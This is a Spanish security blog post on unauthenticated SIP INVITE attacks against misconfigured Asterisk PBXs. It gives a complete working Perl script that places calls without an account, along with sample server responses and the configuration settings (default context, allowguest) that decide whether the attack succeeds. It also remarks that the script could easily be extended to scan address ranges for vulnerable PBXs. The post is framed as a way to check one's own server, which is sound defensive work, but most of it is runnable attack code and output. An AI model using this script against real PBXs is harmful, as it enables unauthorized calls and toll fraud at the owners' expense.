Asterisk – INVITE attack (II)

Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack

Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.0
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;

my $host = '';	   # host
my $port = '';	   # port
my $number = '';	# number to call

my $lport = "5061";
my $myip = "192.168.2.9";

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "n=s" => \$number,
	                         "p=s" => \$port);

	help() if ($host eq "" || $number eq "");

	$port = "5060" if ($port eq "");

	invite($host, $port, $number);

	exit;
}

sub invite {
	my $ip = shift;
	my $nport = shift;
	my $user = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n";

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	print "\nReceiving:\n=========\n$data\n\n";
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

== Options ==
-n <integer>     = Number to call
-p <integer>     = Remote SIP port (default: 5060)

== Examples ==
\$$0 -h 192.168.0.1 -n 100
\$$0 -h 192.168.0.1 -n 666666666 -p 5060

};

	exit 1;
}

init();

El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.

Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676>
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq
Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>
Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:657xxxxxx@192.168.2.9:5060>
Content-Length: 0

Como se puede apreciar, la respuesta por parte del servidor es un ‘100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.

En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986>
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z
Call-id: 5265813dee1ea0f4af3672f83c1694ea
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d
Call-ID: 5265813dee1ea0f4af3672f83c1694ea
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Content-Length: 0

Obtendremos un ‘404 Not Found’. Y en el log del Asterisk veremos:

 == Using SIP RTP CoS mark 5
[Jan  5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.

Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

Sending:
=======
INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:40486>
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa
Call-id: 497cd8864668cd7580dace0dd3f357f2
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>
Call-ID: 497cd8864668cd7580dace0dd3f357f2
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:100@192.168.2.9:5060>
Content-Length: 0

Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:46225>
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75
Call-id: cfd8b3380a3532be7ac7650026fd23fb
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>;tag=as58329940
Call-ID: cfd8b3380a3532be7ac7650026fd23fb
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87"
Content-Length: 0

En este caso recibimos un ‘401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.

 

3 comentarios

Deja un comentario